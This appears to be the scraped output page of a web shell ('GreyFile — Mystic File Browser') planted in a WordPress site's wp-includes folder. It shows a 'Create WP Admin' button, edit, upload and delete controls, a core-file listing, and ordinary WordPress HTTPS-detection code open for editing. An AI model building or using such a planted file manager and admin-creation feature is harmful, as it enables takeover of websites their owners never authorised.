?? GreyFile — Mystic File Browser
Current path:
home
/
webdevt
/
www
/
demo2-old
/
wp-includes
/
?? Create WP Admin
??
Go up: /home/webdevt/www/demo2-old
?? Editing: https-detection.php
<?php /** * HTTPS detection functions. * * @package WordPress * @since 5.7.0 */ /** * Checks whether the website is using HTTPS. * * This is based on whether both the home and site URL are using HTTPS. * * @since 5.7.0 * @see wp_is_home_url_using_https() * @see wp_is_site_url_using_https() * * @return bool True if using HTTPS, false otherwise. */ function wp_is_using_https() { if ( ! wp_is_home_url_using_https() ) { return false; } return wp_is_site_url_using_https(); } /** * Checks whether the current site URL is using HTTPS. * * @since 5.7.0 * @see home_url() * * @return bool True if using HTTPS, false otherwise. */ function wp_is_home_url_using_https() { return 'https' === wp_parse_url( home_url(), PHP_URL_SCHEME ); } /** * Checks whether the current site's URL where WordPress is stored is using HTTPS. * * This checks the URL where WordPress application files (e.g. wp-blog-header.php or the wp-admin/ folder) * are accessible. * * @since 5.7.0 * @see site_url() * * @return bool True if using HTTPS, false otherwise. */ function wp_is_site_url_using_https() { /* * Use direct option access for 'siteurl' and manually run the 'site_url' * filter because `site_url()` will adjust the scheme based on what the * current request is using. */ /** This filter is documented in wp-includes/link-template.php */ $site_url = apply_filters( 'site_url', get_option( 'siteurl' ), '', null, null ); return 'https' === wp_parse_url( $site_url, PHP_URL_SCHEME ); } /** * Checks whether HTTPS is supported for the server and domain. * * @since 5.7.0 * * @return bool True if HTTPS is supported, false otherwise. */ function wp_is_https_supported() { $https_detection_errors = get_option( 'https_detection_errors' ); // If option has never been set by the Cron hook before, run it on-the-fly as fallback. if ( false === $https_detection_errors ) { wp_update_https_detection_errors(); $https_detection_errors = get_option( 'https_detection_errors' ); } // If there are no detection errors, HTTPS is supported. return empty( $https_detection_errors ); } /** * Runs a remote HTTPS request to detect whether HTTPS supported, and stores potential errors. * * This internal function is called by a regular Cron hook to ensure HTTPS support is detected and maintained. * * @since 6.4.0 * @access private */ function wp_get_https_detection_errors() { /** * Short-circuits the process of detecting errors related to HTTPS support. * * Returning a `WP_Error` from the filter will effectively short-circuit the default logic of trying a remote * request to the site over HTTPS, storing the errors array from the returned `WP_Error` instead. * * @since 6.4.0 * * @param null|WP_Error $pre Error object to short-circuit detection, * or null to continue with the default behavior. * @return null|WP_Error Error object if HTTPS detection errors are found, null otherwise. */ $support_errors = apply_filters( 'pre_wp_get_https_detection_errors', null ); if ( is_wp_error( $support_errors ) ) { return $support_errors->errors; } $support_errors = new WP_Error(); $response = wp_remote_request( home_url( '/', 'https' ), array( 'headers' => array( 'Cache-Control' => 'no-cache', ), 'sslverify' => true, ) ); if ( is_wp_error( $response ) ) { $unverified_response = wp_remote_request( home_url( '/', 'https' ), array( 'headers' => array( 'Cache-Control' => 'no-cache', ), 'sslverify' => false, ) ); if ( is_wp_error( $unverified_response ) ) { $support_errors->add( 'https_request_failed', __( 'HTTPS request failed.' ) ); } else { $support_errors->add( 'ssl_verification_failed', __( 'SSL verification failed.' ) ); } $response = $unverified_response; } if ( ! is_wp_error( $response ) ) { if ( 200 !== wp_remote_retrieve_response_code( $response ) ) { $support_errors->add( 'bad_response_code', wp_remote_retrieve_response_message( $response ) ); } elseif ( false === wp_is_local_html_output( wp_remote_retrieve_body( $response ) ) ) { $support_errors->add( 'bad_response_source', __( 'It looks like the response did not come from this site.' ) ); } } return $support_errors->errors; } /** * Checks whether a given HTML string is likely an output from this WordPress site. * * This function attempts to check for various common WordPress patterns whether they are included in the HTML string. * Since any of these actions may be disabled through third-party code, this function may also return null to indicate * that it was not possible to determine ownership. * * @since 5.7.0 * @access private * * @param string $html Full HTML output string, e.g. from a HTTP response. * @return bool|null True/false for whether HTML was generated by this site, null if unable to determine. */ function wp_is_local_html_output( $html ) { // 1. Check if HTML includes the site's Really Simple Discovery link. if ( has_action( 'wp_head', 'rsd_link' ) ) { $pattern = preg_replace( '#^https?:(?=//)#', '', esc_url( site_url( 'xmlrpc.php?rsd', 'rpc' ) ) ); // See rsd_link(). return str_contains( $html, $pattern ); } // 2. Check if HTML includes the site's REST API link. if ( has_action( 'wp_head', 'rest_output_link_wp_head' ) ) { // Try both HTTPS and HTTP since the URL depends on context. $pattern = preg_replace( '#^https?:(?=//)#', '', esc_url( get_rest_url() ) ); // See rest_output_link_wp_head(). return str_contains( $html, $pattern ); } // Otherwise the result cannot be determined. return null; }
Save
Upload
??
Create Folder
??
Create File
??
assets
|
??? Delete
??
block-bindings
|
??? Delete
??
block-patterns
|
??? Delete
??
block-supports
|
??? Delete
??
blocks
|
??? Delete
??
certificates
|
??? Delete
??
css
|
??? Delete
??
customize
|
??? Delete
??
fonts
|
??? Delete
??
html-api
|
??? Delete
??
ID3
|
??? Delete
??
images
|
??? Delete
??
interactivity-api
|
??? Delete
??
IXR
|
??? Delete
??
js
|
??? Delete
??
l10n
|
??? Delete
??
php-compat
|
??? Delete
??
PHPMailer
|
??? Delete
??
pomo
|
??? Delete
??
Requests
|
??? Delete
??
rest-api
|
??? Delete
??
SimplePie
|
??? Delete
??
sitemaps
|
??? Delete
??
sodium_compat
|
??? Delete
??
style-engine
|
??? Delete
??
Text
|
??? Delete
??
theme-compat
|
??? Delete
??
widgets
|
??? Delete
??
admin-bar.php
|
?? Edit
|
??? Delete
??
atomlib.php
|
?? Edit
|
??? Delete
??
author-template.php
|
?? Edit
|
??? Delete
??
block-bindings.php
|
?? Edit
|
??? Delete
??
block-editor.php
|
?? Edit
|
??? Delete
??
block-i18n.json
|
?? Edit
|
??? Delete
??
block-template-utils.php
|
?? Edit
|
??? Delete
??
block-template.php
|
?? Edit
|
??? Delete
??
bookmark-template.php
|
?? Edit
|
??? Delete
??
bookmark.php
|
?? Edit
|
??? Delete
??
cache-compat.php
|
?? Edit
|
??? Delete
??
cache.php
|
?? Edit
|
??? Delete
??
canonical.php
|
?? Edit
|
??? Delete
??
capabilities.php
|
?? Edit
|
??? Delete
??
category-template.php
|
?? Edit
|
??? Delete
??
category.php
|
?? Edit
|
??? Delete
??
class-avif-info.php
|
?? Edit
|
??? Delete
??
class-feed.php
|
?? Edit
|
??? Delete
??
class-http.php
|
?? Edit
|
??? Delete
??
class-IXR.php
|
?? Edit
|
??? Delete
??
class-json.php
|
?? Edit
|
??? Delete
??
class-oembed.php
|
?? Edit
|
??? Delete
??
class-phpass.php
|
?? Edit
|
??? Delete
??
class-phpmailer.php
|
?? Edit
|
??? Delete
??
class-pop3.php
|
?? Edit
|
??? Delete
??
class-requests.php
|
?? Edit
|
??? Delete
??
class-simplepie.php
|
?? Edit
|
??? Delete
??
class-smtp.php
|
?? Edit
|
??? Delete
??
class-snoopy.php
|
?? Edit
|
??? Delete
??
class-walker-category-dropdown.php
|
?? Edit
|
??? Delete
??
class-walker-category.php
|
?? Edit
|
??? Delete
??
class-walker-comment.php
|
?? Edit
|
??? Delete
??
class-walker-nav-menu.php
|
?? Edit
|
??? Delete
??
class-walker-page-dropdown.php
|
?? Edit
|
??? Delete
??
class-walker-page.php
|
?? Edit
|
??? Delete
??
class-wp-admin-bar.php
|
?? Edit
|
??? Delete
??
class-wp-ajax-response.php
|
?? Edit
|
??? Delete
??
class-wp-application-passwords.php
|
?? Edit
|
??? Delete
??
class-wp-block-bindings-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-bindings-source.php
|
?? Edit
|
??? Delete
??
class-wp-block-editor-context.php
|
?? Edit
|
??? Delete
??
class-wp-block-list.php
|
?? Edit
|
??? Delete
??
class-wp-block-parser-block.php
|
?? Edit
|
??? Delete
??
class-wp-block-parser-frame.php
|
?? Edit
|
??? Delete
??
class-wp-block-parser.php
|
?? Edit
|
??? Delete
??
class-wp-block-pattern-categories-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-patterns-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-styles-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-supports.php
|
?? Edit
|
??? Delete
??
class-wp-block-template.php
|
?? Edit
|
??? Delete
??
class-wp-block-type-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-type.php
|
?? Edit
|
??? Delete
??
class-wp-block.php
|
?? Edit
|
??? Delete
??
class-wp-classic-to-block-menu-converter.php
|
?? Edit
|
??? Delete
??
class-wp-comment-query.php
|
?? Edit
|
??? Delete
??
class-wp-comment.php
|
?? Edit
|
??? Delete
??
class-wp-customize-control.php
|
?? Edit
|
??? Delete
??
class-wp-customize-manager.php
|
?? Edit
|
??? Delete
??
class-wp-customize-nav-menus.php
|
?? Edit
|
??? Delete
??
class-wp-customize-panel.php
|
?? Edit
|
??? Delete
??
class-wp-customize-section.php
|
?? Edit
|
??? Delete
??
class-wp-customize-setting.php
|
?? Edit
|
??? Delete
??
class-wp-date-query.php
|
?? Edit
|
??? Delete
??
class-wp-dependencies.php
|
?? Edit
|
??? Delete
??
class-wp-duotone.php
|
?? Edit
|
??? Delete
??
class-wp-editor.php
|
?? Edit
|
??? Delete
??
class-wp-embed.php
|
?? Edit
|
??? Delete
??
class-wp-error.php
|
?? Edit
|
??? Delete
??
class-wp-fatal-error-handler.php
|
?? Edit
|
??? Delete
??
class-wp-feed-cache-transient.php
|
?? Edit
|
??? Delete
??
class-wp-hook.php
|
?? Edit
|
??? Delete
??
class-wp-http-cookie.php
|
?? Edit
|
??? Delete
??
class-wp-http-curl.php
|
?? Edit
|
??? Delete
??
class-wp-http-encoding.php
|
?? Edit
|
??? Delete
??
class-wp-http-ixr-client.php
|
?? Edit
|
??? Delete
??
class-wp-http-proxy.php
|
?? Edit
|
??? Delete
??
class-wp-http-requests-hooks.php
|
?? Edit
|
??? Delete
??
class-wp-http-requests-response.php
|
?? Edit
|
??? Delete
??
class-wp-http-response.php
|
?? Edit
|
??? Delete
??
class-wp-http-streams.php
|
?? Edit
|
??? Delete
??
class-wp-http.php
|
?? Edit
|
??? Delete
??
class-wp-image-editor-gd.php
|
?? Edit
|
??? Delete
??
class-wp-image-editor-imagick.php
|
?? Edit
|
??? Delete
??
class-wp-image-editor.php
|
?? Edit
|
??? Delete
??
class-wp-list-util.php
|
?? Edit
|
??? Delete
??
class-wp-locale-switcher.php
|
?? Edit
|
??? Delete
??
class-wp-locale.php
|
?? Edit
|
??? Delete
??
class-wp-matchesmapregex.php
|
?? Edit
|
??? Delete
??
class-wp-meta-query.php
|
?? Edit
|
??? Delete
??
class-wp-metadata-lazyloader.php
|
?? Edit
|
??? Delete
??
class-wp-navigation-fallback.php
|
?? Edit
|
??? Delete
??
class-wp-object-cache.php
|
?? Edit
|
??? Delete
??
class-wp-oembed-controller.php
|
?? Edit
|
??? Delete
??
class-wp-oembed.php
|
?? Edit
|
??? Delete
??
class-wp-paused-extensions-storage.php
|
?? Edit
|
??? Delete
??
class-wp-plugin-dependencies.php
|
?? Edit
|
??? Delete
??
class-wp-post-type.php
|
?? Edit
|
??? Delete
??
class-wp-post.php
|
?? Edit
|
??? Delete
??
class-wp-recovery-mode-cookie-service.php
|
?? Edit
|
??? Delete
??
class-wp-recovery-mode-email-service.php
|
?? Edit
|
??? Delete
??
class-wp-recovery-mode-key-service.php
|
?? Edit
|
??? Delete
??
class-wp-recovery-mode-link-service.php
|
?? Edit
|
??? Delete
??
class-wp-recovery-mode.php
|
?? Edit
|
??? Delete
??
class-wp-rewrite.php
|
?? Edit
|
??? Delete
??
class-wp-role.php
|
?? Edit
|
??? Delete
??
class-wp-roles.php
|
?? Edit
|
??? Delete
??
class-wp-script-modules.php
|
?? Edit
|
??? Delete
??
class-wp-session-tokens.php
|
?? Edit
|
??? Delete
??
class-wp-simplepie-file.php
|
?? Edit
|
??? Delete
??
class-wp-simplepie-sanitize-kses.php
|
?? Edit
|
??? Delete
??
class-wp-site-query.php
|
?? Edit
|
??? Delete
??
class-wp-site.php
|
?? Edit
|
??? Delete
??
class-wp-styles.php
|
?? Edit
|
??? Delete
??
class-wp-tax-query.php
|
?? Edit
|
??? Delete
??
class-wp-taxonomy.php
|
?? Edit
|
??? Delete
??
class-wp-term-query.php
|
?? Edit
|
??? Delete
??
class-wp-term.php
|
?? Edit
|
??? Delete
??
class-wp-text-diff-renderer-inline.php
|
?? Edit
|
??? Delete
??
class-wp-text-diff-renderer-table.php
|
?? Edit
|
??? Delete
??
class-wp-textdomain-registry.php
|
?? Edit
|
??? Delete
??
class-wp-theme-json-data.php
|
?? Edit
|
??? Delete
??
class-wp-theme-json-resolver.php
|
?? Edit
|
??? Delete
??
class-wp-theme-json-schema.php
|
?? Edit
|
??? Delete
??
class-wp-theme-json.php
|
?? Edit
|
??? Delete
??
class-wp-theme.php
|
?? Edit
|
??? Delete
??
class-wp-user-meta-session-tokens.php
|
?? Edit
|
??? Delete
??
class-wp-user-query.php
|
?? Edit
|
??? Delete
??
class-wp-user-request.php
|
?? Edit
|
??? Delete
??
class-wp-user.php
|
?? Edit
|
??? Delete
??
class-wp-walker.php
|
?? Edit
|
??? Delete
??
class-wp-widget-factory.php
|
?? Edit
|
??? Delete
??
class-wp-widget.php
|
?? Edit
|
??? Delete
??
class-wpdb.php
|
?? Edit
|
??? Delete
??
class.wp-dependencies.php
|
?? Edit
|
??? Delete
??
class.wp-scripts.php
|
?? Edit
|
??? Delete
??
class.wp-styles.php
|
?? Edit
|
??? Delete
??
comment-template.php
|
?? Edit
|
??? Delete
??
comment.php
|
?? Edit
|
??? Delete
??
compat.php
|
?? Edit
|
??? Delete
??
cron.php
|
?? Edit
|
??? Delete
??
date.php
|
?? Edit
|
??? Delete
??
default-constants.php
|
?? Edit
|
??? Delete
??
default-filters.php
|
?? Edit
|
??? Delete
??
default-widgets.php
|
?? Edit
|
??? Delete
??
deprecated.php
|
?? Edit
|
??? Delete
??
embed.php
|
?? Edit
|
??? Delete
??
error-protection.php
|
?? Edit
|
??? Delete
??
feed-atom-comments.php
|
?? Edit
|
??? Delete
??
feed-atom.php
|
?? Edit
|
??? Delete
??
feed-rdf.php
|
?? Edit
|
??? Delete
??
feed-rss.php
|
?? Edit
|
??? Delete
??
feed-rss2.php
|
?? Edit
|
??? Delete
??
feed.php
|
?? Edit
|
??? Delete
??
fonts.php
|
?? Edit
|
??? Delete
??
formatting.php
|
?? Edit
|
??? Delete
??
functions.php
|
?? Edit
|
??? Delete
??
functions.wp-styles.php
|
?? Edit
|
??? Delete
??
general-template.php
|
?? Edit
|
??? Delete
??
global-styles-and-settings.php
|
?? Edit
|
??? Delete
??
http.php
|
?? Edit
|
??? Delete
??
https-detection.php
|
?? Edit
|
??? Delete
??
https-migration.php
|
?? Edit
|
??? Delete
??
kses.php
|
?? Edit
|
??? Delete
??
l10n.php
|
?? Edit
|
??? Delete
??
link-template.php
|
?? Edit
|
??? Delete
??
locale.php
|
?? Edit
|
??? Delete
??
media-template.php
|
?? Edit
|
??? Delete
??
media.php
|
?? Edit
|
??? Delete
??
meta.php
|
?? Edit
|
??? Delete
??
ms-blogs.php
|
?? Edit
|
??? Delete
??
ms-default-constants.php
|
?? Edit
|
??? Delete
??
ms-default-filters.php
|
?? Edit
|
??? Delete
??
ms-deprecated.php
|
?? Edit
|
??? Delete
??
ms-files.php
|
?? Edit
|
??? Delete
??
ms-functions.php
|
?? Edit
|
??? Delete
??
ms-load.php
|
?? Edit
|
??? Delete
??
ms-network.php
|
?? Edit
|
??? Delete
??
ms-settings.php
|
?? Edit
|
??? Delete
??
ms-site.php
|
?? Edit
|
??? Delete
??
nav-menu-template.php
|
?? Edit
|
??? Delete
??
nav-menu.php
|
?? Edit
|
??? Delete
??
option.php
|
?? Edit
|
??? Delete
??
pluggable.php
|
?? Edit
|
??? Delete
??
plugin.php
|
?? Edit
|
??? Delete
??
post-formats.php
|
?? Edit
|
??? Delete
??
post-template.php
|
?? Edit
|
??? Delete
??
post-thumbnail-template.php
|
?? Edit
|
??? Delete
??
registration-functions.php
|
?? Edit
|
??? Delete
??
registration.php
|
?? Edit
|
??? Delete
??
rest-api.php
|
?? Edit
|
??? Delete
??
revision.php
|
?? Edit
|
??? Delete
??
rewrite.php
|
?? Edit
|
??? Delete
??
robots-template.php
|
?? Edit
|
??? Delete
??
rss-functions.php
|
?? Edit
|
??? Delete
??
rss.php
|
?? Edit
|
??? Delete
??
script-loader.php
|
?? Edit
|
??? Delete
??
script-modules.php
|
?? Edit
|
??? Delete
??
session.php
|
?? Edit
|
??? Delete
??
shortcodes.php
|
?? Edit
|
??? Delete
??
sitemaps.php
|
?? Edit
|
??? Delete
??
spl-autoload-compat.php
|
?? Edit
|
??? Delete
??
style-engine.php
|
?? Edit
|
??? Delete
??
taxonomy.php
|
?? Edit
|
??? Delete
??
template-canvas.php
|
?? Edit
|
??? Delete
??
template-loader.php
|
?? Edit
|
??? Delete
??
template.php
|
?? Edit
|
??? Delete
??
theme-i18n.json
|
?? Edit
|
??? Delete
??
theme-previews.php
|
?? Edit
|
??? Delete
??
theme-templates.php
|
?? Edit
|
??? Delete
??
theme.json
|
?? Edit
|
??? Delete
??
theme.php
|
?? Edit
|
??? Delete
??
update.php
|
?? Edit
|
??? Delete
??
user.php
|
?? Edit
|
??? Delete
??
vars.php
|
?? Edit
|
??? Delete
??
version.php
|
?? Edit
|
??? Delete
??
wp-db.php
|
?? Edit
|
??? Delete
??
wp-diff.php
|
?? Edit
|
??? Delete